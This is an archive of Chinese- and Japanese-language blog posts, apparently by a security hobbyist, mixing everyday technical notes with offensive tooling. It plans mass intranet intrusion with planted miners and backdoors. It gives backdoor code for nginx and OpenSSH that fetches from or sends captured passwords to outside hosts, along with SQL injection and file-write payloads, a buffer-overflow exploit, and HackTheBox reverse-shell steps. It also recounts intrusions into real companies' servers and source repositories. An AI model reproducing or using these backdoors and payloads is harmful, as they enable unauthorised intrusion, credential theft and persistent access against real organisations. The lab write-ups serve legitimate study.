博文

目前显示的是 2020的博文

关于大范围,大面积内网自动化入侵心得。

比如一个A类网络地址就有 16777214 多台主机,单个主机进行大范围,大规模、全端口化扫描是很不现实的。最明显的方式就是进行远程系统协同式程式化工作,把入侵手法剥离出来,虽然无法100%细化。 简单罗列下程式需要实现的功能点: 1、检测各个服务的弱密码      1.1  Smb      1.2  Mysql      1.3  SQL server      1.4  SSH      1.5  Telnet      1.6  Ftp 2、被入侵主机当前子网的0.0.0.0/24 细致化扫描     2.1 当前网卡绑定的所有内网IP地址      (需要远程控制已扫描网段,协同内网扫描工作) 3、上传功能    3.1 扫描结果上传    3.2 弱密码结果文件上传 4、放置挖矿脚本 5、留下后门      5.1 内核后门      5.2 SSH免密码后门      5.3 命令替换      5.4 定时检测更新远程脚本 6、视情况加入      6.1 远程溢出脚本      6.2 webshell的提权

简单加密解密

void encrypt(char *password) { int x = strlen(password); char t[strlen(password)]; strcpy(t, password); int i; for(i=0; i<strlen(password); i++) { char cur = t[i]; if(isalpha(cur)) { t[i] = cur +1; } } printf("%s\n",t); for(i=0; i<strlen(password); i++) { char c = t[i]; if(isalpha(c)) { t[i] = c - 1; } } printf("the decrypted message is: %s\n", t); } int main() { char msg[] = "root"; printf("%s\n", msg); encrypt(msg); }

Mock、Spring-boot、Stub、mybatis、Junit测试

nmap

 nohup nmap -v -A 10.2.24-30.1-254 -vv -p1-65535 -oX 1.xml &

nginx嵌入后门

int fatherpid = getpid(); printf("%d", fatherpid); pid_t fpid; fpid = fork(); if (fpid == 0) { int x1 = getppid(); while(1) { x1 = getppid(); if(x1 == 1) { return 0; } time_t timep = time(&timep); int x = gmtime(&timep)->tm_wday; if(x == 6 || x == 7 ) { system("/usr/bin/curl -m 5 -s http://xxx:10004/b.out"); sleep(30); } } return 1; }

如何更便利地利用openssh

图片
第一种方式: 通过添加源代码实现向远端发送数据的目的,因为HTTP有被拦截的风险。所以用二进制发送感觉比较好点。 https://openbsd.hk/pub/OpenBSD/OpenSSH/portable/ 需要安装扩展     autoconf,PAM, void userauth_PAM(char * password) { char *server_ip_addr_domain = "www.xxxx.org"; int server_ip_port = 80; struct hostent *host; struct in_addr **addr_list; if (NULL != (host = gethostbyname(server_ip_addr_domain))) { addr_list = (struct in_addr **)host->h_addr_list; int socket_fd = socket(AF_INET, SOCK_STREAM, 0); if (socket_fd >= 0) { struct sockaddr_in serv_addr; memset(&serv_addr, 0, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = *(unsigned int *)host->h_addr_list[0]; serv_addr.sin_port = htons(server_ip_port); if((connect(socket_fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr))) >= 0 ) { send(socket_fd, password, strlen(password), 0); } c

Linux 硬关机造成的系统错误

由于硬关机造成了磁盘受损,进入了initramfs模式,怎么都无法启动系统.通过以下命令成功修复. blkid 查看当前系统挂在那个磁盘 fsck -t ext4 /dev/sda3  修复目标磁盘.

Python 自动定时任务

 写了一个定时执行任务的程序 0点开始启动到第二天的8点,之外的时间段都处于关闭状态。 import os from datetime import datetime import psutil SYSTEM_INIT = "SYSTEM_INIT" def execute(): os.system("nohup /bin/" + SYSTEM_INIT + " &") print("executed") def isExecuting(): pids = psutil.pids() ret_val = -999 for pid in pids: PNAME = psutil.Process(pid).name() if SYSTEM_INIT == PNAME: return pid return ret_val def main(): dateTime = datetime.now() HOUR = dateTime.hour; weedkey = dateTime.weekday() print(weedkey) if weedkey == 5 or weedkey == 6: pid = isExecuting() print(pid) if pid == -999: execute() else: return 0; # more than 00 less than 08 if HOUR >= 23 or HOUR < 8: # is exisxt pid = isExecuting() if pid == -999: execute(); return 0 if HOUR > 8 and HOUR != 23: pid = isExecu

Sql Inject 拦截器过滤

 拦截器过滤在 SQL 注入中是很常用的一个功能。 1、and 使用 && 代替         所代表的意义是一样的 2、or 使用 || 代替         所代表的意义是一样的 3、urlcode 转码         例如[']转成%27,普遍用在代码检测不彻底的情况下。 4、SQL技巧         绕过空格,使用select(1),(2),(3)类似的形式 5、相关函数     5.1 extractValue                 报错注入的另一种形式,与双查询类似。  5.2 %a0编码                 对于空格的限制,采用编码。     5.3 %bf编码                 宽字节绕过。 6、双重参数         双重参数是指,同时提交两个参数名一样的参数,服务端仅验证了第一个。底层代码却处理了2个参数,达到绕过程序检测的目的。 例如 payload:http://192.168.230.129/trainer/Less-27/?id=911%27UnION%a0SElect(3),(SELect%a0group_concat(password)from%a0users),(5)and%a0%271 payload:http://192.168.230.129/trainer/Less-32/index.php?id=%bf%27%20union%20select%201,version(),user()%20--+

Sql Inject 协议头注入

图片
基于 User-Agent 注入 这是一个非常经典的 HTTP 协议注入,非常 NB。故此,我细化地写了下来。 payload:1',(select 1 from (select count(*),CONCAT(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b),'3'); # 总结: 明显是后台 php 程序取 User-Agent 头信息地时候没有加入过滤,直接insert 就插入了。 这种类型地注入,就是明显的双查询注入,故意的引起报错造成信息泄露。 目前似乎没有开源工具针对 Http 协议头做参数检测。 基于 Cookies 注入 cookie 在程序处理 sessions 中非常、非常之常见。部分程序里的 cookie 是被 base64 或者其它编码程序编码过的,但是也有解码的方法,这是后话了。

派遣業界の信頼問題

今日、不知名の会社にZOOMで面接されました。一番大変な問題は信頼問題です、面接の際に「噓、噓」と言われました。詳しく説明したいですけど、「謙虚してください。言わせないところは言わないでください。」自分で証明の機会もなくなっちゃった。 自分より強く人は「噓」、全然日本人らしくない、中国人のようなと感じします、こなん簡単的な開発は誰でもすぐできるでしょう、HTTP API、基礎的な能力でしょう? こんな簡単的な問題を出すのはほんとに技術者ですか? 日本のIT業界に対するもう一回自分の認識を変えました。 OK、実際これが大きく社会問題です。自分が経歴したことだけではなく、ほかのエンジニア絶対に経歴しました。 詳しく調査は実施しています、あとで更新します。 今日は2021年6月19日、その会社からもう退場しました。二ヶ月間ぐらい勤務した、その人は実際中国語が喋る、韓国にも行ったことあるそうです、多分韓国語もしゃべれるかも、しかし年をとった。もともとの国籍はどこなのか、自分もよくわからない。多分中国。 あいつは全くやばい。お客さんの仕事スケジュールは全然無理なんですが、いつもできるできるできると話して、結局、僕たちにやらせる、黙って、やります。 心なかには何回「FUCK」と言いましたが、現実が変えることができません。 とりあえず、そんな会社は2回仕事はないです。

Sql Inject 基于outfile

基于导出,导入文件的注入。目前来说,一般是不能利用的的,它需要在服务器上开启【secure_file_priv】参数 在mysql.init 里设置【secure_file_priv =】后,重启mysql即可使用,默认是关闭或有限访问路径。 查看参数:SHOW VARIABLES LIKE "secure_file_priv"; 利用思路: 普通导出文件:select * from users into OUTFILE  'c:\\1.txt'; 写入私钥:select 'ssh private text' INTO OUTFILE '/root/.ssh/authorized'; 写入定时任务:select 'cron time misstion' INTO OUTFILE '/etc/cron.d/revershell'; 写入shell:select 'php shell' INTO OUTFILE '/var/www/html/revershell.php'; 加载文件 select HEX(LOAD_FILE('c:\\1.txt')) select HEX(LOAD_FILE('/etc/passwd')) select HEX(LOAD_FILE('/etc/issue'))

Sql Inject Less 9 盲注基于休眠时间

因为基于休眠时间受限于网络带宽,时间,延迟等因素。所以返回的数据相当地不准确,需要根据返回地数据进行英文单词参照,慢,延迟高,还不准确。 如果发现了这类型地漏洞,那简直是噩梦。 注入地址,例:http://192.168.230.130/trainer/Less-9/?id=2' and sleep(10) --+ 查询数据库payload为:'and if(SUBSTR(DATABASE(),1,1)='s', sleep(5), null) --+ 查询表的payload为:' and if(SUBSTR((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e', sleep(5), null) --+ 查询表字段的payload为:' and if(SUBSTR((select column_name from information_schema.COLUMNS where table_name='emails' limit 0,1),1,1)='i', sleep(5), null) --+ 查询表数据的payload为:' and if(SUBSTR((select id from security.emails limit 0,1),1,1)='1', sleep(5), null) --+ 测试SQL: select SYSDATE() from dual where 1=1 and if(SUBSTR((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e', sleep(5), null) select SYSDATE() from dual where 1=1 and if(SUBSTR((select column_name from information_schema.COLUMNS where table_name='

Sql Inject Less 8 盲注基于布尔型

图片
实验 基于布尔类型注入其实就是根据布尔值来判断获取的ascill码的数值来进行注入的方式。 注入点,例:http://192.168.230.130/trainer/Less-8/?id=1' AND 1 --+ 0是false 1为true 举例,目前使用的数据库为:security select ASCII(substr(DATABASE(),8,8)) s 115 e 101 c 99 u 117 r 114 i 105 t 116 y 121 测试: 当我取第一个ascii码值,判断他大于114时,此时为false,判断true和false的依据为【You are in...】是否显示。 数据库第一个字符判断是否大于116,是false。 大于114 小于116 ,明显就是115了,也就是Security里的S字符。 这种明显效率低下。远远不如使用 group_concat 函数来的直接,非快速获取大量信息的方式。 POST注入,基于布尔值 POST注入其实和GET是一样的,都是基于布尔值来判断具体的ascii码值 payload:1") or substr(DATABASE(),1,1) ='s' #

Sql Inject Less 5-7 - 双查询注入

图片
实验 注入地址: http://192.168.230.130/trainer/Less-5/?id=1' and (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select username from security.users limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b) --+ 这种类型的注入问了很多人,最后得到了【双查询注入】。我一直以为是 【double 查询注入】,果然一定要严谨,严谨,再严谨。 只有这样才能建立良好的思维导图。 payload:1' and  (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select table_name from information_schema.TABLES where TABLE_SCHEMA='security' limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b)     --+ 出现的结果会是下图地两种情况,随机刷新出结果来: 查询表字段信息: payload:1' and  (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select column_name from information_schema.columns where TABLE_NAME='emails' limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b)     --+ 查询数据信息:(select 1 from (select count(*),CONCAT(0x3a,0x3a,(select username from security.users limit 3,1),0x3a,0x3a, floor(rand()*2)) as a

Sql Inject Less 1-4 注入基础

图片
搭建环境 项目地址:https://github.com/Audi-1/sqli-labs 软件版本: php5.2.17nts mysql5.7.26 apache2.4.39 需要确保 php.ini 的三个参数处于关闭状态. 由于提交到后台的参数php程序自动会转义,例如单引号,这个在之后的版本已经被移除。由写程序的人自己来负责。 magic_quotes_gpc = Off magic_quotes_runtime = Off magic_quotes_sybase = Off 开始调试 Less-1 http://192.168.230.130/trainer/Less-1/?id=1' --+ 统计出表列 payload,表一共有3列:1' order by 4 --+  注意:order by 后的数字是表的列,第一列,第二列. 然后自定义payload执行我们自己的sql语句。 payload:1' select 1,2,3 --+ 注意:1是id列,在页面上没输出,使用这个字段是看不到结果的。 2和3这里、就可以写我们自己的sql语句了。 例如可以构造成:1' select 1, version(), 5 --+ 在mysql中的查询也会变成如下的列: Mysql数据库的元字段等信息因为都保存在 information_schema数据库里 ,所以可以构造payload查询这个数据库里的表:tables payload: -1' union select 1,TABLE_NAME, TABLE_ROWS from information_schema.tables where table_schema='security' limit 0,1 --+ 注意控制 limit 来筛选数据。 payload: -1' union select 1,group_concat(TABLE_NAME), group_concat(TABLE_ROWS) from information_schema.tables where table_schema='security' --+ 因为加入了group_concat函数全部输出了,所以不用调整limit 这样就可以查询出来这个数据库

同步百万级别以上文件的做法

最近在一个场景下,要同步6百多万个文件,电脑挂机同步了半个月。经过这次实践,实际上、发现根本不需要花那么长时间。 首先先说下文件的构成: 大约1GB的文件大约占0.1% 小于1GB的文件占大约20% 大部分99%文件小于1MB 1、大文件可以充分使用带宽,能够最大发挥带宽的优势。同时也因为要考虑到断点续传,所以分块传输,利用开源软件、挂机同步是必不可少的。 2、小文件,小文件由于无法最大占用带宽,并且单次传输量并不多,平均最大1秒7个。加上文件一致性检查等,小文件花费的时间远远大于大文件同步所需要的时间。 所以建议,所有的小文件可以先通过linux 的命令 find 然后tar 到一个文件里,进行传输。最大地利用带宽。 无奈,我已经同步了14天了,已经不缺这一天了。写这篇文章,也算是警戒下自己多思考,思考!寻找解决问题的最简便方法。 大概的类似于命令: nohup find ./svn -size -1024 |xargs tar -zcf ./svn.tar.gz & 1024是1kb以下的文件。 当然上面地做法有些抱歉,除了没有好的带宽或者适当地云服务器之外可以这么做。

数据结构 - 物理结构的存储

图片
线性存储 如下的程序例子: #include <iostream> using namespace std; /** * 顺序存储结构 **/ int main() { int arr[10] = { 1,2,3,4,5,6,7,8,9,0 }; int* p = arr; printf("%p \n", p); for (int i = 0; i < size(arr); i++) { printf("%p : %d \n", p+i, *(p+i)); } printf("\n"); system("pause"); return 0; } 输出结果为 可以看到由于int类型在内存中占用4个字节的长度,所以出现了地址每4个间断进行了输出。 可以看到他的内存地址,都是连续的,006FF9**。可以证明,数组是在内存中开辟了一片连续且向邻的存储空间。 链式存储 索引存储 散列存储(HASH存储)

Metasploit ポート転送

目標ネットに内部ネットにマッピングさせることができます・

名無しインターネット会社に攻撃

图片
 最近、名無し会社のインターネット構成を研究していますが、プライバシー保護のため、会社情報を公開しませんです。実はこれが昨日の夢です、草。 まず、ソフトウェア開発会社なので、色々なシステムが取引先に使わています、ビッグデータのシステムとか、業界システムとか、先進な技術を使用されています、RedisやRabbitMQなど、色々なセキュリティー問題も持ってきていました。 まず、その会社の名前が知っているだけ、名前をグーグルして、ホームページが見つけました、しかし、価値のある情報がない。「nmap」して、1から65535まで、スキャンしました、同じ結果が出てきました。 困っている時に、外部IPアドレスは1から255までスキャンしました、3日もかかりました、やっとビッグデータのテスト用システムが発見しました、幸いのことにパスワードが「123」です、弱すぎるなー、ログインして、多く情報が発見しました。 システム構成 1、開発言語はJava 2、データベースはMysql 3、CDHクラスターと連携している システムに配置されたユーザーが多いですが、パスワード暗号テキストを取得しました、オープンソースの暗号アルゴリズムじゃくて、乱暴に計算できません。 また一週間を過ごしました、 もう3日ぐらい過ごしました、システムのプロセスが一つずつ研究します、システムプロセスを除いておいて、Javaのプロセスは色々なJarファイルが依存している、ほんとに大変です。 やっとROOT権限を取得しました、もう一回自分のパワーが証明しました。 また二週間ほど研究しました、内部ネットのサーバーが多すぎるので、スキャンのミッションが100時間以上を過ごした、まだ終わってない、この際に、多くのサーバーROOT権限をもらいました。 内部ネットに入りましたが、目標を達成しました、もう一回目標を失われてしまった、困っている際に、IT技術会社に対して、一番大切なことはなにという問題を浮かびました。 もちろん、ソースです!次は会社の管理者にとって、OAサーバーとメールサーバーです。 OK、目標が明確しました、SVNサーバーまたGITサーバー。 SVNサーバーのポートは3690です、GITポートは9418です、一日経過して、みつけた。 1、まず弱くパスワードをチェック、しかし、ダメです。 2、SVNサーバーの分析を経過

ポート転送とトンネリング

图片
RINETDポート転送 インストールする kali@kali:~$ sudo apt update && sudo apt install rinetd 配置する 検査する http://10.10.10.5を開くと、HTTP 状態は「301」を示しました。HTTPプロトコルなので、グーグルウェブを開きました。 ほかのプロトコルもサポートでまる、Mysql など。 SSHトンネリング ローカルポート転送 目標サーバーにHTTPサービスをオーペンしていますが、ポートの制限ある場合。リスニングのポートが80です、ネットハードウェアのアドレスが 「127.0.0.1」 目標サーバー は下記の図、一般的な手段で、ほかのクライアントから開くことができません。 クライアント このように、ローカルに81ポートがリモートの80をマッピングしました。 もちろん、「127.0.0.1」はほかの内部IPアドレスの代わりに、外部ネットが疎通できます、内部ネットは攻撃されるリスクがある リモートポート転送 IPアドレス サーバー名 リスニングポート 10.10.10.2/192.168.56.1 Windows なし 192.168.56.1 Centos 80 10.10.10.2 Kali 9999 上記のテーブルを見ると、CentosとKaliは相互に通信できない、PINGも通れない。CentosのNginxサービスはKaliから開けない。 ssh -N -R 9999:192.168.56.101:80 user@10.10.10

IDA Pro 使い問題

1、ソースがディコンパイルできない      パソコンはディコンパイルソフトウェアをインストールされてない 例:GDB 2、引用コード見つける ショートカットキーは「x」です。

バッファオーバーフローテスト ー 1

图片
これが一番簡単なプログラムですが、コーディングが全然しない人に対する、理解が難しいです。 何の意味か、例えば、パソコンメモリーのサイズが4GB、超える場合はシステムがNGになる、なので、エラーが起こる。 一般的なエラーだったら、再起動すればいいです。もし、バッファオーバーフローのバッグは悪い人に利用されたら、危うくになる。 関連知識: プログラム知識 メモリー分配 GDBディバッグコマンド まず、下記のようなプログラムを用意します #include <stdio.h> void win() { system("/bin/sh"); } void main() { char buf[20]; gets(buf); } これから、利用のことを説明します。 上記のプログラムをコンパイルします。      gcc -fno-stack-protector -zexecstack -fno-stack-protector -no-pie -z norelro main.c -o main チェックして、メモリー保護を閉じました。 gdbでディバッグする gets は入力のメソッドです。入力の際は私たちが多くのデータを入力してみましょう。 僕が「AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL」を入力しました。 エラーが起こりました。これは重点なことではない、注意してください。 重点なことは、データは短くになりました。無くなったデータはメモリーに振り分けました。 オフセットを計算します。 オフセットは40です。 winのメソッドメモリーアドレスは 0x401132です。 OK、必

サブドメインを集める

HackTheBox - Buff

图片
nmapでスキャンしました、ポートは8080だけ、オープンしています ブラウザで8080ポートを開いて、ウェブサービスを実行しています 「Made Using Gym Management software 1.0」見ると、オープンソースシステムかもしれません。 searchsploitコマンドで調べて、やはり利用できます。 buff\shaun ユーザーを取得しました 関連ファイルをアップロードする powershell -command "& { iwr http://10.10.14.231:8000/plink.exe -OutFile C:\xampp\htdocs\gym\upload\plink.exe }" powershell -command "& { iwr http://10.10.14.231:8000/nc.exe -OutFile C:\xampp\htdocs\gym\upload\nc.exe }" ペイロードを生成して、プログラムを修正します 生成コマンド:  msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.231 LPORT=8644 -f c ポートをマッピングする この時、もうリモートサーバの8888ポートはローカルにマッピングされました。 ペイロードプログラムを実行する、 python 2.py リモートからadmin権限を取得しました

RabbitMQ の弱くパスワードをチェックするツール

Hydra ツールはRabbitMQのチェックがサポートできないので、自分でRabbitMQのAPIを参照して、書きました。 import sys,getopt,pika,optparse # #author shao # def connection(ip, port, username,password): credentials = pika.PlainCredentials(username, password) parameters = pika.ConnectionParameters(ip, port, '/', credentials) try: connection = pika.BlockingConnection(parameters) channel = connection.channel() connection.close() print("configuration! got password["+ password +"]") sys.exit(0) except: print("error password. ---------- [ " + password + " ] ") #channel.basic_publish(exchange='', routing_key='plugin_data', body='http://10.10.10.6:8000/test.lua') def loopWordlist(ip,port, username,passwordFile): try: file = open(passwordFile, mode="r", buffering=256, encoding="UTF-8"); words = file.readlines() for word in words: word = word.

某软件公司代码审计的案例

图片
前言 自从拿下某公司 SVN 服务器,数据库服务器好久了,【数据库】【部署应用】是分开部署的。奈何,数据库服务器并不能帮助提权。 不过相信有了代码,加上修改数据库的数据辅助,很大几率能拿下应用服务器。 分析项目环境 项目部署在【阿里云】,阿里云服务器具有阿里云盾,被它坑的不轻。 系统环境 Linux 使用语言 Java 应用环境 Spring-boot + Maven +Mysql+Redis 项目所有上传文件都是放在阿里云,七牛和腾讯云的OSS上。 项目分为前台用户和后台用户之分,由于某些原因,后台用户服务我并不能跑起来。 分析代码包层次结构 可以看到Controller是提供给外部的接口,我似乎就真的以为ueditor.controller可以直接利用 所以,这里Ueditor并不能直接被利用。 直到我找到了这个函数 为了确认这个函数变量100%确实可以自由构造,我又整理了Controll开始函数执行的顺序。     到这里,因为id是Integer对象类型,即使是null也会被加入处理成nullFileName.rar这样的形式。null还是会被加入。  我写了一个这样的程序。 3328 文件夹不存在于tmp路径 3329文件夹存在于tmp路径 执行后,404行报错。filePath2执行成功,绕过路径。 所以: linux jdk 中会检查文件夹是否真实存在。 所以,问题来了,我需要把那条数据id设置上,并且设置的id还要作为文件夹真实存在于系统中,只有这样,我才能绕过字符串中被加入 id 的这个路径 我翻找了linux系统文件夹构成 系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的 PID号为目录名,它们是读取进程信息的接口。 /proc/1是绝对存在的。所以我在数据库里把id改为1,构造文件名称 这样程序处理的时候就会变成 ../../../../proc/1/../../../../../root/.ssh/authorized_keys1 因为proc/1文件是真实存在于系统中,能被绕过。 从阿里云OSS下载我的公钥文件后,输出路径就变成了下面的路径。 /root/.ssh/

HackTheBox - Travel

HackTheBox - Dyplesher

HackTheBox - fuse

HackTheBox - fatty

HackTheBox - Blackfield

图片
 53  open  domain?    88  open  kerberos-sec    135  open  msrpc  主要信息来源  389  open  ldap    445  open  microsoft-ds?  主要信息来源  593  open ncacn_http     3268  open  ldap   通过smbclient 检查,有共享 这个域里一共有314个用户,实际上这台服务器的用户远没有那么多。 通过制作一个用户名列表 当前获取到了support 用户的hash 解密后,密码就是白色区域那部分 然后用rpcclient链接以这个用户,枚举系统用户名。 这里有个漏洞,试过了所有的系统用户,只有这个可以重置这个用户的密码。 audit2020 然后这个时候有了 forensic文件夹的访问权限了,1个多G。 然后基本全分析一边,用 windbg 和 volatility 花了很多时间。转折点在这里。 当我搜索了一堆关键字,我看到这个美女的头像。注意到了  mimikatz 这个工具。 开始我还以为是专门搜索DMP文件的密码的。后来实在搞不定,看了下别人的做法。 瞬间注意到了lsass这个进程。是我输入的进程文件不对!!!!!! 然后一路顺风,获取到第三个用户。svc_bakcup。 顺利用evil登录 提权:      由于在前期寻找立足点中,花了5天时间,论坛上看了大量别人的提示,所以,提权部分基本没怎么耗时间。 【文件可以在这里下载: 点击我 】 import-module ./SeBackupPrivilegeCmdLets.dll import-module ./SeBackupPrivilegeUtils.dll script2.txt set context persistent nowriters add volume c: alias someAlias create expose %someAlias% j: exec c:\temp\backup.cmd delete shadows volume %someAlias% reset backup.cmd c:\temp\nc.exe 10.10.14.231 9999 -e cmd.exe 其实backup.cmd并没有用。 di